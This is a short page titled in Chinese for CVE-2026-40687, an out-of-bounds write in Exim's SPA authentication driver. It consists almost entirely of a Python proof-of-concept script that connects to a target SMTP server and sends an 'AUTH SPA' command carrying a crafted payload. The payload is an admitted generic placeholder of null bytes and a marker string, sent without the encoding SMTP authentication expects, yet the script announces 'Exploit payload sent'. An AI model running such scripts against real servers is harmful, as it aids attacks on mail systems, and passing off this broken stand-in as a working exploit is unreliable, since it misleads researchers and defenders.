CVE-2026-40687 Exim SPA认证驱动越界写入漏洞

import socket import sys # PoC for CVE-2026-40687: Exim SPA Auth Driver Out-of-Bounds Write # This script attempts to trigger the vulnerability by sending a crafted SPA resource. def send_exploit(target_ip, target_port): try: # Establish TCP connection to the Exim SMTP server s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) # Read SMTP banner s.recv(1024) # Send EHLO to identify capabilities s.send(b"EHLO test.example.com\r\n") s.recv(1024) # Attempt to initiate SPA Auth with malicious payload # The specific payload structure would depend on the SPA implementation details # This represents a generic trigger for the OOB write malicious_payload = b"\x00" * 100 + b"SPA_AUTH_TRIGGER" # Send AUTH command attempting to use the SPA driver s.send(b"AUTH SPA " + malicious_payload + b"\r\n") # Check response response = s.recv(1024) print("Server response:", response) s.close() print("[+] Exploit payload sent. Check if the service crashed or leaked memory.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) != 3: print("Usage: python poc.py <target_ip> <port>") else: send_exploit(sys.argv[1], int(sys.argv[2]))